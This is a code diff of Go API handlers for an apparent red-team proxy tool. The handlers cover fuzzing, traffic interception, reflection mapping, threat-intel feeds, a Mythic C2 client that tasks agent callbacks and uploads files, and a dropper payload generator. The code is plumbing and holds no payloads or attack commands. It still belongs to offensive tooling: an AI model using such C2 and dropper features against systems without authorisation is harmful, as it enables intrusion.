@@ -0,0 +1,222 @@
package api
import (
"net/http"
"strconv"
"github.com/BishopFox/joro/internal/echo"
)
// echoAvailable rejects requests when reflection mapping is not wired, as in
// listener and team-server mode. The routes are also behind the proxy-mode gate
// in registerRoutes.
func (s *APIServer) echoAvailable(w http.ResponseWriter) bool {
if s.echoEngine == nil || s.echoStore == nil {
writeError(w, http.StatusNotFound, "reflection mapping is unavailable in this mode")
return false
}
return true
}
// handleGetEcho returns everything the tab needs on mount.
func (s *APIServer) handleGetEcho(w http.ResponseWriter, r *http.Request) {
if !s.echoAvailable(w) {
return
}
cfg := s.echoEngine.Config()
writeJSON(w, http.StatusOK, map[string]any{
"enabled": cfg.Enabled,
"config": cfg,
"summary": s.echoStore.Summary(),
"hosts": s.echoStore.Hosts(),
"scan": s.echoEngine.Status(),
})
}
func (s *APIServer) handleSetEchoEnabled(w http.ResponseWriter, r *http.Request) {
if !s.echoAvailable(w) {
return
}
var body struct {
Enabled bool `json:"enabled"`
}
if err := decodeJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
s.echoEngine.SetEnabled(body.Enabled)
writeJSON(w, http.StatusOK, map[string]any{"enabled": body.Enabled})
}
func (s *APIServer) handleGetEchoConfig(w http.ResponseWriter, r *http.Request) {
if !s.echoAvailable(w) {
return
}
writeJSON(w, http.StatusOK, s.echoEngine.Config())
}
// echoConfigPatch is a pointer per field so a PUT can carry any subset, as
// detectConfigPatch does.
type echoConfigPatch struct {
Enabled *bool `json:"enabled"`
ScopeOnly *bool `json:"scopeOnly"`
MaxBodyScanBytes *int `json:"maxBodyScanBytes"`
MaxRequestBodyScanBytes *int `json:"maxRequestBodyScanBytes"`
MinValueLen *int `json:"minValueLen"`
MaxValuesPerRequest *int `json:"maxValuesPerRequest"`
MaxReflectionsPerRequest *int `json:"maxReflectionsPerRequest"`
TransformDepth *int `json:"transformDepth"`
Base64 *bool `json:"base64"`
ScanHeaders *bool `json:"scanHeaders"`
ExcludeHosts *[]string `json:"excludeHosts"`
}
func (s *APIServer) handleSetEchoConfig(w http.ResponseWriter, r *http.Request) {
if !s.echoAvailable(w) {
return
}
var p echoConfigPatch
if err := decodeJSON(r, &p); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
cfg := s.echoEngine.Config()
setBool(&cfg.Enabled, p.Enabled)
setBool(&cfg.ScopeOnly, p.ScopeOnly)
setInt(&cfg.MaxBodyScanBytes, p.MaxBodyScanBytes)
setInt(&cfg.MaxRequestBodyScanBytes, p.MaxRequestBodyScanBytes)
setInt(&cfg.MinValueLen, p.MinValueLen)
setInt(&cfg.MaxValuesPerRequest, p.MaxValuesPerRequest)
setInt(&cfg.MaxReflectionsPerRequest, p.MaxReflectionsPerRequest)
setInt(&cfg.TransformDepth, p.TransformDepth)
setBool(&cfg.Base64, p.Base64)
setBool(&cfg.ScanHeaders, p.ScanHeaders)
if p.ExcludeHosts != nil {
cfg.ExcludeHosts = *p.ExcludeHosts
}
s.echoEngine.SetConfig(cfg)
writeJSON(w, http.StatusOK, s.echoEngine.Config())
}
func setBool(dst *bool, v *bool) {
if v != nil {
*dst = *v
}
}
func setInt(dst *int, v *int) {
if v != nil {
*dst = *v
}
}
// handleListEchoParams returns a page of the map.
func (s *APIServer) handleListEchoParams(w http.ResponseWriter, r *http.Request) {
if !s.echoAvailable(w) {
return
}
q := r.URL.Query()
f := echo.Filter{
Host: q.Get("host"),
Sources: splitCSV(q.Get("source")),
Contexts: splitCSV(q.Get("context")),
Transforms: splitCSV(q.Get("transform")),
BreakoutOnly: q.Get("breakout") == "true",
Search: q.Get("search"),
Sort: q.Get("sort"),
Dir: q.Get("dir"),
Limit: 100,
}
if v, err := strconv.Atoi(q.Get("offset")); err == nil && v >= 0 {
f.Offset = v
}
if q.Has("limit") {
if v, err := strconv.Atoi(q.Get("limit")); err == nil {
f.Limit = v
}
}
items, total := s.echoStore.List(f)
writeJSON(w, http.StatusOK, map[string]any{
"items": items, "total": total, "offset": f.Offset, "limit": f.Limit,
})
}
// handleGetEchoParam returns one row with its recent reflections.
func (s *APIServer) handleGetEchoParam(w http.ResponseWriter, r *http.Request) {
if !s.echoAvailable(w) {
return
}
e, ok := s.echoStore.Entry(r.PathValue("id"))
if !ok {
writeError(w, http.StatusNotFound, "no such parameter")
return
}
writeJSON(w, http.StatusOK, e)
}
// handleGetEchoRequest returns one message's report, for the History pane. A
// request with no report is not an error: it may predate the feature being
// switched on, which the empty report says plainly.
func (s *APIServer) handleGetEchoRequest(w http.ResponseWriter, r *http.Request) {
if !s.echoAvailable(w) {
return
}
id := r.PathValue("requestId")
rep, ok := s.echoStore.Report(id)
if !ok {
writeJSON(w, http.StatusOK, map[string]any{
"requestId": id, "analyzed": false, "reflections": []any{},
})
return
}
writeJSON(w, http.StatusOK, map[string]any{
"requestId": id, "analyzed": true, "report": rep,
})
}
func (s *APIServer) handleClearEcho(w http.ResponseWriter, r *http.Request) {
if !s.echoAvailable(w) {
return
}
s.echoStore.Clear()
writeJSON(w, http.StatusOK, map[string]any{"cleared": true})
}
// handleStartEchoScan backfills the map from captured history. This is the
// common path: the feature is switched on after the interesting traffic has
// already been captured.
func (s *APIServer) handleStartEchoScan(w http.ResponseWriter, r *http.Request) {
if !s.echoAvailable(w) {
return
}
var req echo.RescanRequest
if err := decodeJSONOptional(r, &req, maxJSONBody); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
status, err := s.echoEngine.StartRescan(s.detectBackgroundCtx(), req)
if err == echo.ErrScanRunning {
writeError(w, http.StatusConflict, err.Error())
return
}
if err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
writeJSON(w, http.StatusOK, status)
}
func (s *APIServer) handleGetEchoScan(w http.ResponseWriter, r *http.Request) {
if !s.echoAvailable(w) {
return
}
writeJSON(w, http.StatusOK, s.echoEngine.Status())
}
func (s *APIServer) handleCancelEchoScan(w http.ResponseWriter, r *http.Request) {
if !s.echoAvailable(w) {
return
}
s.echoEngine.Cancel()
writeJSON(w, http.StatusOK, s.echoEngine.Status())
}
+1 -2
View File
@@ -1,7 +1,6 @@
package api
import (
"encoding/json"
"net/http"
"github.com/BishopFox/joro/internal/proxy"
@@ -15,7 +14,7 @@ func (s *APIServer) handleExecute(w http.ResponseWriter, r *http.Request) {
AuthKey string `json:"authKey"`
Command string `json:"command"`
}
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
if err := decodeJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
+103
View File
@@ -0,0 +1,103 @@
package api
import (
"net/http"
"time"
"github.com/BishopFox/joro/internal/feeds"
)
// The threat-intel feed control plane. UI-only, proxy-mode only.
//
// Routes are registered unconditionally and gated here on requireFeeds, for the same reason
// the webhook and automation planes are: an unregistered route falls through to the SPA
// catch-all and answers 200 with HTML rather than 404 with JSON. There are no secrets to
// redact — a feed snapshot is public intelligence — so unlike webhooks every field goes out
// as stored.
// requireFeeds reports whether the aggregator is available, writing the JSON 404 if not. The
// message names which off-state it is: --no-feeds (a posture) versus an unreadable feeds.json
// (a fault).
func (s *APIServer) requireFeeds(w http.ResponseWriter) *feeds.Aggregator {
if s.cfg.NoFeeds {
writeError(w, http.StatusNotFound,
"threat-intel feeds are disabled on this instance; it was started with --no-feeds")
return nil
}
if s.feeds == nil || s.feedsStore == nil {
writeError(w, http.StatusNotFound,
"threat-intel feeds are unavailable on this instance; see the startup log for why "+
"~/.joro/feeds.json could not be read")
return nil
}
return s.feeds
}
// feedsResponse is the whole feed view: the operator's settings plus the current snapshot.
type feedsResponse struct {
Settings feeds.State `json:"settings"`
Snapshot feeds.Snapshot `json:"snapshot"`
}
// handleGetFeeds returns settings + snapshot. Served even while feeds are disabled (Enabled
// false, empty items), so the UI can render its "enable" state from one call.
func (s *APIServer) handleGetFeeds(w http.ResponseWriter, r *http.Request) {
agg := s.requireFeeds(w)
if agg == nil {
return
}
writeJSON(w, http.StatusOK, feedsResponse{
Settings: s.feedsStore.Get(),
Snapshot: agg.Snapshot(),
})
}
func (s *APIServer) handleGetFeedsSettings(w http.ResponseWriter, r *http.Request) {
if s.requireFeeds(w) == nil {
return
}
writeJSON(w, http.StatusOK, s.feedsStore.Get())
}
// handleSetFeedsSettings validates and persists settings (the store floors the interval), and
// on an off->on flip kicks an immediate refresh so the dashboard fills without waiting for the
// loop's next pass.
func (s *APIServer) handleSetFeedsSettings(w http.ResponseWriter, r *http.Request) {
if s.requireFeeds(w) == nil {
return
}
var in feeds.State
if err := decodeJSON(r, &in); err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
prev := s.feedsStore.Get()
next, err := s.feedsStore.Set(in)
if err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
if next.Enabled && !prev.Enabled {
go s.refreshFeedsTick(s.feedsContext())
}
writeJSON(w, http.StatusOK, next)
}
// handleRefreshFeeds triggers an out-of-band refresh, debounced server-side so a UI button
// cannot push NVD past its rate limit regardless of the client.
func (s *APIServer) handleRefreshFeeds(w http.ResponseWriter, r *http.Request) {
agg := s.requireFeeds(w)
if agg == nil {
return
}
if !s.feedsStore.Get().Enabled {
writeError(w, http.StatusConflict, "threat-intel feeds are turned off; enable them first")
return
}
if !agg.TryBeginManual(60 * time.Second) {
writeError(w, http.StatusTooManyRequests, "feeds were refreshed moments ago; try again shortly")
return
}
go s.refreshFeedsTick(s.feedsContext())
writeJSON(w, http.StatusAccepted, map[string]string{"status": "refreshing"})
}
+116 -19
View File
@@ -5,7 +5,6 @@ import (
"bytes"
"context"
"encoding/base64"
"encoding/json"
"fmt"
"net/http"
"strconv"
@@ -23,6 +22,8 @@ type fuzzerStartRequest struct {
Host string `json:"host"`
Wordlist []string `json:"wordlist"` // Single-position wordlist
Wordlists map[string][]string `json:"wordlists,omitempty"` // Multi-position: position → wordlist
Source *fuzzer.PayloadSource `json:"source,omitempty"` // Single-position / spray: a built-in list or generator, resolved server-side
Sources map[string]fuzzer.PayloadSource `json:"sources,omitempty"` // Split/yolo: a source per position; absent ones fall back to Wordlists
AttackMode string `json:"attackMode,omitempty"` // spray, split, yolo
Threads int `json:"threads"`
RateLimit float64 `json:"rateLimit"`
@@ -38,7 +39,8 @@ type fuzzerStartRequest struct {
func (s *APIServer) handleFuzzerStart(w http.ResponseWriter, r *http.Request) {
var req fuzzerStartRequest
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
// Bulk: Wordlist/Wordlists arrive inline, sourced from an upload capped at 50 MB.
if err := decodeJSONLimit(r, &req, maxBulkJSONBody); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
@@ -93,12 +95,22 @@ func (s *APIServer) handleFuzzerStart(w http.ResponseWriter, r *http.Request) {
}
if len(positions) <= 1 {
// Single-position mode
if len(req.Wordlist) == 0 {
writeError(w, http.StatusBadRequest, "wordlist is empty")
return
// Single-position mode. A source (built-in list or generator) resolves
// server-side; otherwise the inline wordlist is used as-is.
if req.Source != nil {
wl, err := req.Source.Resolve(fuzzer.MaxGeneratedPayloads)
if err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
cfg.Wordlist = wl
} else {
if len(req.Wordlist) == 0 {
writeError(w, http.StatusBadRequest, "wordlist is empty")
return
}
cfg.Wordlist = req.Wordlist
}
cfg.Wordlist = req.Wordlist
} else {
// Multi-position mode
mode := fuzzer.AttackMode(req.AttackMode)
@@ -109,30 +121,46 @@ func (s *APIServer) handleFuzzerStart(w http.ResponseWriter, r *http.Request) {
cfg.AttackMode = mode
if mode == fuzzer.AttackSpray {
// Spray: single wordlist used for all positions
if len(req.Wordlist) == 0 {
writeError(w, http.StatusBadRequest, "wordlist is empty")
return
// Spray: single wordlist (or source) used for all positions
var wl []string
if req.Source != nil {
resolved, err := req.Source.Resolve(fuzzer.MaxGeneratedPayloads)
if err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
wl = resolved
} else {
if len(req.Wordlist) == 0 {
writeError(w, http.StatusBadRequest, "wordlist is empty")
return
}
wl = req.Wordlist
}
cfg.Wordlists = make(map[string][]string, len(positions))
for _, pos := range positions {
cfg.Wordlists[pos] = req.Wordlist
cfg.Wordlists[pos] = wl
}
} else {
// Split/Yolo: require a wordlist for each position
if len(req.Wordlists) == 0 {
writeError(w, http.StatusBadRequest, "wordlists map is required for split/yolo modes")
return
}
// Split/Yolo: each position takes a resolved source or an inline wordlist
cfg.Wordlists = make(map[string][]string, len(positions))
for _, pos := range positions {
if src, ok := req.Sources[pos]; ok {
resolved, err := src.Resolve(fuzzer.MaxGeneratedPayloads)
if err != nil {
writeError(w, http.StatusBadRequest, fmt.Sprintf("position %s: %v", pos, err))
return
}
cfg.Wordlists[pos] = resolved
continue
}
wl, ok := req.Wordlists[pos]
if !ok || len(wl) == 0 {
writeError(w, http.StatusBadRequest, fmt.Sprintf("missing or empty wordlist for position %s", pos))
return
}
_ = wl
cfg.Wordlists[pos] = wl
}
cfg.Wordlists = req.Wordlists
// Safety limit for yolo mode
if mode == fuzzer.AttackYolo {
@@ -302,6 +330,11 @@ func (s *APIServer) handleFuzzerDeleteCampaign(w http.ResponseWriter, r *http.Re
}
func (s *APIServer) handleFuzzerUploadWordlist(w http.ResponseWriter, r *http.Request) {
// Multipart body; see requireLocalOrigin.
if !requireLocalOrigin(w, r) {
return
}
r.Body = http.MaxBytesReader(w, r.Body, 50<<20) // 50MB limit
file, _, err := r.FormFile("file")
@@ -330,3 +363,67 @@ func (s *APIServer) handleFuzzerUploadWordlist(w http.ResponseWriter, r *http.Re
"count": len(lines),
})
}
// handleFuzzerListWordlists returns the catalog of built-in lists and generators.
// Built-in list contents are never sent — only a count — so the picker shows size
// without shipping the payloads twice.
func (s *APIServer) handleFuzzerListWordlists(w http.ResponseWriter, r *http.Request) {
type builtinDTO struct {
ID string `json:"id"`
Label string `json:"label"`
Description string `json:"description"`
Category string `json:"category"`
Count int `json:"count"`
}
lists := fuzzer.BuiltinLists()
builtins := make([]builtinDTO, 0, len(lists))
for _, l := range lists {
builtins = append(builtins, builtinDTO{
ID: l.ID, Label: l.Label, Description: l.Description,
Category: l.Category, Count: len(l.Values),
})
}
writeJSON(w, http.StatusOK, map[string]any{
"builtins": builtins,
"generators": fuzzer.Generators(),
})
}
// handleFuzzerPreviewSource resolves a payload source and returns its size plus a
// small sample, so the editor can show "~N payloads — a, b, c, ..." live. It
// reuses the same resolver and cap as a real campaign start.
func (s *APIServer) handleFuzzerPreviewSource(w http.ResponseWriter, r *http.Request) {
if !requireLocalOrigin(w, r) {
return
}
var src fuzzer.PayloadSource
if err := decodeJSON(r, &src); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
count, err := src.Count()
if err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
resp := map[string]any{
"count": count,
"sample": []string{},
"exceedsLimit": count > fuzzer.MaxGeneratedPayloads, // cannot be run
}
// Only materialize for the sample when the list is small enough that doing so
// on a debounced keystroke is cheap; the count alone covers the rest.
const previewSampleCap = 100_000
if count > 0 && count <= previewSampleCap {
full, err := src.Resolve(previewSampleCap)
if err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
if len(full) > 20 {
full = full[:20]
}
resp["sample"] = full
}
writeJSON(w, http.StatusOK, resp)
}
+1 -2
View File
@@ -2,7 +2,6 @@ package api
import (
"encoding/base64"
"encoding/json"
"fmt"
"net/http"
"net/url"
@@ -19,7 +18,7 @@ func (s *APIServer) handleGenerate(w http.ResponseWriter, r *http.Request) {
BinaryName string `json:"binaryName"` // required when mode=dropper && !inMemory
InMemory bool `json:"inMemory"` // execute in memory without writing to disk
}
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
if err := decodeJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
+14 -11
View File
@@ -1,7 +1,6 @@
package api
import (
"encoding/json"
"net/http"
)
@@ -20,22 +19,26 @@ func (s *APIServer) handleSetHighlight(w http.ResponseWriter, r *http.Request) {
var body struct {
Color string `json:"color"`
}
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
if err := decodeJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
s.mu.Lock()
if body.Color == "" {
delete(s.highlights, id)
} else {
s.highlights[id] = body.Color
}
s.mu.Unlock()
s.setHighlight(id, body.Color)
writeJSON(w, http.StatusOK, map[string]string{"status": "ok"})
}
// setHighlight colours one captured request, or clears it when color is empty. Shared
// with the history.highlight capability, which reaches it through capreg.Deps.
func (s *APIServer) setHighlight(id, color string) {
s.mu.Lock()
defer s.mu.Unlock()
if color == "" {
delete(s.highlights, id)
return
}
s.highlights[id] = color
}
func (s *APIServer) handleClearHighlights(w http.ResponseWriter, r *http.Request) {
s.mu.Lock()
s.highlights = make(map[string]string)
+2 -3
View File
@@ -2,7 +2,6 @@ package api
import (
"context"
"encoding/json"
"fmt"
"log"
"net/http"
@@ -67,7 +66,7 @@ func (s *APIServer) makeInteractCreateInstanceHandler(name string) http.HandlerF
return
}
var config map[string]string
if err := json.NewDecoder(r.Body).Decode(&config); err != nil {
if err := decodeJSON(r, &config); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON body")
return
}
@@ -111,7 +110,7 @@ func (s *APIServer) makeInteractSetEnabledHandler(name string) http.HandlerFunc
var body struct {
Enabled bool `json:"enabled"`
}
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
if err := decodeJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON body")
return
}
+112 -21
View File
@@ -2,8 +2,8 @@ package api
import (
"encoding/base64"
"encoding/json"
"net/http"
"time"
"github.com/BishopFox/joro/internal/proxy"
)
@@ -12,27 +12,41 @@ func (s *APIServer) handleGetInterceptQueue(w http.ResponseWriter, r *http.Reque
pending := s.intercept.List()
type item struct {
ID string `json:"id"`
Method string `json:"method"`
URL string `json:"url"`
Host string `json:"host"`
ReqRaw string `json:"reqRaw"` // base64
ID string `json:"id"`
Kind string `json:"kind"`
Method string `json:"method"`
URL string `json:"url"`
Host string `json:"host"`
Protocol string `json:"protocol,omitempty"`
Status int `json:"status,omitempty"`
PausedAt time.Time `json:"pausedAt"`
ReqRaw string `json:"reqRaw"` // base64
RespRaw string `json:"respRaw,omitempty"` // base64, response pauses only
}
items := make([]item, 0, len(pending))
for _, p := range pending {
items = append(items, item{
ID: p.ID,
Method: p.Method,
URL: p.URL,
Host: p.Host,
ReqRaw: base64.StdEncoding.EncodeToString(p.ReqRaw),
})
it := item{
ID: p.ID,
Kind: string(p.Kind),
Method: p.Method,
URL: p.URL,
Host: p.Host,
Protocol: p.Protocol,
Status: p.Status,
PausedAt: p.PausedAt,
ReqRaw: base64.StdEncoding.EncodeToString(p.ReqRaw),
}
if len(p.RespRaw) > 0 {
it.RespRaw = base64.StdEncoding.EncodeToString(p.RespRaw)
}
items = append(items, it)
}
writeJSON(w, http.StatusOK, map[string]any{
"enabled": s.intercept.IsEnabled(),
"items": items,
"enabled": s.intercept.IsEnabled(),
"responsesEnabled": s.intercept.IsResponseEnabled(),
"items": items,
})
}
@@ -40,7 +54,7 @@ func (s *APIServer) handleToggleIntercept(w http.ResponseWriter, r *http.Request
var body struct {
Enabled bool `json:"enabled"`
}
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
if err := decodeJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
@@ -54,15 +68,82 @@ func (s *APIServer) handleToggleIntercept(w http.ResponseWriter, r *http.Request
writeJSON(w, http.StatusOK, map[string]bool{"enabled": body.Enabled})
}
// handleToggleInterceptResponses toggles response interception. This is a
// separate route from PUT /intercept/enabled rather than a second field on it: a
// shared body would let a client sending only one phase clobber the other to
// false via the zero value.
func (s *APIServer) handleToggleInterceptResponses(w http.ResponseWriter, r *http.Request) {
var body struct {
Enabled bool `json:"enabled"`
}
if err := decodeJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
s.setInterceptResponses(body.Enabled)
writeJSON(w, http.StatusOK, map[string]bool{"enabled": body.Enabled})
}
// setInterceptResponses updates the queue and the Settings mirror together, so
// the two cannot drift. The queue is set outside s.mu because disabling drains
// pending pauses.
func (s *APIServer) setInterceptResponses(enabled bool) {
s.mu.Lock()
s.settings.InterceptResponses = enabled
s.mu.Unlock()
if s.intercept != nil {
s.intercept.SetResponseEnabled(enabled)
}
}
// handleReleaseIntercepts forwards every pending pause unmodified. This is the
// recovery path when several paused responses have stalled an origin: browsers
// cap concurrent connections per host, so the alternative is resolving each by
// hand or waiting out the auto-forward timeout.
//
// Forward-only by design — a bulk drop is destructive with no undo.
func (s *APIServer) handleReleaseIntercepts(w http.ResponseWriter, r *http.Request) {
var body struct {
Kind string `json:"kind"` // "request" | "response"; empty means both
}
// Optional: an absent body means both phases. A body that was sent and could not be
// read is reported rather than ignored — silently treating it as absent would release
// both phases when the caller asked for one.
if err := decodeJSONOptional(r, &body, maxJSONBody); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
switch proxy.InterceptKind(body.Kind) {
case proxy.KindRequest, proxy.KindResponse, "":
default:
writeError(w, http.StatusBadRequest, "kind must be request, response, or omitted")
return
}
released := s.intercept.DrainAll(proxy.InterceptKind(body.Kind))
writeJSON(w, http.StatusOK, map[string]int{"released": released})
}
func (s *APIServer) handleForwardRequest(w http.ResponseWriter, r *http.Request) {
id := r.PathValue("id")
var body struct {
ReqRaw string `json:"reqRaw"` // base64-encoded modified raw request; optional
ReqRaw string `json:"reqRaw"` // base64-encoded modified raw request; optional
RespRaw string `json:"respRaw"` // base64-encoded modified raw response; optional
}
// Bulk, and the whole body is optional: forwarding unmodified sends no fields. A body
// that was sent and could not be read is reported rather than ignored — silently
// treating it as absent would forward the original request the operator had edited.
if err := decodeJSONOptional(r, &body, maxBulkJSONBody); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
json.NewDecoder(r.Body).Decode(&body) //nolint:errcheck
var modifiedReq []byte
var modifiedReq, modifiedResp []byte
if body.ReqRaw != "" {
var err error
modifiedReq, err = base64.StdEncoding.DecodeString(body.ReqRaw)
@@ -71,10 +152,20 @@ func (s *APIServer) handleForwardRequest(w http.ResponseWriter, r *http.Request)
return
}
}
if body.RespRaw != "" {
var err error
modifiedResp, err = base64.StdEncoding.DecodeString(body.RespRaw)
if err != nil {
writeError(w, http.StatusBadRequest, "invalid respRaw base64")
return
}
}
// Resolve is phase-agnostic: each pause site reads only the field it needs.
ok := s.intercept.Resolve(id, proxy.InterceptDecision{
Action: proxy.ActionForward,
ReqData: modifiedReq,
Action: proxy.ActionForward,
ReqData: modifiedReq,
RespData: modifiedResp,
})
if !ok {
writeError(w, http.StatusNotFound, "request not found in queue")
+2 -2
View File
@@ -2,7 +2,6 @@ package api
import (
"encoding/base64"
"encoding/json"
"fmt"
"net/http"
@@ -20,7 +19,8 @@ type manipulateRequest struct {
func (s *APIServer) handleManipulateSend(w http.ResponseWriter, r *http.Request) {
var req manipulateRequest
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
// Bulk: Raw is a base64'd whole HTTP request, which can carry a file upload.
if err := decodeJSONLimit(r, &req, maxBulkJSONBody); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
+3 -3
View File
@@ -2,7 +2,6 @@ package api
import (
"encoding/base64"
"encoding/json"
"errors"
"net/http"
"time"
@@ -31,7 +30,7 @@ func (s *APIServer) handleManipulateWSConnect(w http.ResponseWriter, r *http.Req
}
var req manipulateWSConnectRequest
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
if err := decodeJSON(r, &req); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
@@ -98,7 +97,8 @@ func (s *APIServer) handleManipulateWSSend(w http.ResponseWriter, r *http.Reques
}
var req manipulateWSSendRequest
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
// Bulk: Payload is a base64'd frame, which has no small upper bound.
if err := decodeJSONLimit(r, &req, maxBulkJSONBody); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
+165
View File
@@ -0,0 +1,165 @@
package api
import (
"io"
"net/http"
"github.com/BishopFox/joro/internal/mythic"
)
func (s *APIServer) handleMythicStatus(w http.ResponseWriter, r *http.Request) {
url, connected := s.mythicClient.ServerInfo()
resp := map[string]any{"connected": connected}
if connected {
resp["url"] = url
id, name := s.mythicClient.GetActiveCallback()
if id != 0 {
resp["callbackId"] = id
resp["callbackName"] = name
}
}
writeJSON(w, http.StatusOK, resp)
}
func (s *APIServer) handleMythicConnect(w http.ResponseWriter, r *http.Request) {
var cfg mythic.Config
if err := decodeJSON(r, &cfg); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
if cfg.URL == "" {
writeError(w, http.StatusBadRequest, "url is required")
return
}
if cfg.APIToken == "" && (cfg.Username == "" || cfg.Password == "") {
writeError(w, http.StatusBadRequest, "an API token, or a username and password, is required")
return
}
if err := s.mythicClient.Connect(cfg); err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
writeJSON(w, http.StatusOK, map[string]bool{"connected": true})
}
func (s *APIServer) handleMythicDisconnect(w http.ResponseWriter, r *http.Request) {
if err := s.mythicClient.Disconnect(); err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
writeJSON(w, http.StatusOK, map[string]bool{"connected": false})
}
func (s *APIServer) handleMythicCallbacks(w http.ResponseWriter, r *http.Request) {
if !s.mythicClient.IsConnected() {
writeError(w, http.StatusBadRequest, "not connected to Mythic")
return
}
callbacks, err := s.mythicClient.ListCallbacks(r.Context())
if err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
writeJSON(w, http.StatusOK, map[string]any{"callbacks": callbacks})
}
// handleMythicCommand dispatches a mythic-client REPL command.
func (s *APIServer) handleMythicCommand(w http.ResponseWriter, r *http.Request) {
if !s.mythicClient.IsConnected() {
writeError(w, http.StatusBadRequest, "not connected to Mythic")
return
}
var body struct {
Input string `json:"input"`
}
if err := decodeJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
if body.Input == "" {
writeJSON(w, http.StatusOK, mythic.CommandResult{})
return
}
result := s.mythicClient.Dispatch(r.Context(), body.Input)
writeJSON(w, http.StatusOK, result)
}
// handleMythicDownload serves cached binary data (files pulled from an agent).
func (s *APIServer) handleMythicDownload(w http.ResponseWriter, r *http.Request) {
id := r.PathValue("id")
if id == "" {
writeError(w, http.StatusBadRequest, "missing download id")
return
}
data, filename, ok := s.mythicClient.GetDownload(id)
if !ok {
writeError(w, http.StatusNotFound, "download not found or expired")
return
}
w.Header().Set("Content-Disposition", "attachment; filename=\""+filename+"\"")
w.Header().Set("Content-Type", "application/octet-stream")
w.Write(data)
}
// handleMythicUpload registers a file with Mythic and issues an upload task to the
// active callback.
func (s *APIServer) handleMythicUpload(w http.ResponseWriter, r *http.Request) {
// Multipart body; see requireLocalOrigin. Checked before the connection preconditions
// so the outcome does not depend on whether a callback is active.
if !requireLocalOrigin(w, r) {
return
}
if !s.mythicClient.IsConnected() {
writeError(w, http.StatusBadRequest, "not connected to Mythic")
return
}
callbackID, _ := s.mythicClient.GetActiveCallback()
if callbackID == 0 {
writeError(w, http.StatusBadRequest, "no active callback")
return
}
if err := r.ParseMultipartForm(32 << 20); err != nil { // 32MB max
writeError(w, http.StatusBadRequest, "invalid multipart form")
return
}
remotePath := r.FormValue("remotePath")
if remotePath == "" {
writeError(w, http.StatusBadRequest, "remotePath is required")
return
}
file, header, err := r.FormFile("file")
if err != nil {
writeError(w, http.StatusBadRequest, "file is required")
return
}
defer file.Close()
data, err := io.ReadAll(file)
if err != nil {
writeError(w, http.StatusInternalServerError, "failed to read file")
return
}
path, err := s.mythicClient.RegisterAndUpload(r.Context(), callbackID, remotePath, header.Filename, data)
if err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
writeJSON(w, http.StatusOK, map[string]string{"path": path})
}
+2 -3
View File
@@ -1,7 +1,6 @@
package api
import (
"encoding/json"
"net/http"
"github.com/BishopFox/joro/internal/proxy"
@@ -22,7 +21,7 @@ func (s *APIServer) handleSetNoiseEnabled(w http.ResponseWriter, r *http.Request
var body struct {
Enabled bool `json:"enabled"`
}
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
if err := decodeJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
@@ -34,7 +33,7 @@ func (s *APIServer) handleAddNoisePattern(w http.ResponseWriter, r *http.Request
var body struct {
Pattern string `json:"pattern"`
}
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
if err := decodeJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
+2 -3
View File
@@ -1,7 +1,6 @@
package api
import (
"encoding/json"
"net/http"
"sort"
"strconv"
@@ -69,7 +68,7 @@ func (s *APIServer) handleCreateNote(w http.ResponseWriter, r *http.Request) {
Content string `json:"content"`
Author string `json:"author"`
}
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
if err := decodeJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
@@ -100,7 +99,7 @@ func (s *APIServer) handleUpdateNote(w http.ResponseWriter, r *http.Request) {
var body struct {
Content string `json:"content"`
}
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
if err := decodeJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
+68 -8
View File
@@ -2,7 +2,6 @@ package api
import (
"context"
"encoding/json"
"fmt"
"io"
"io/fs"
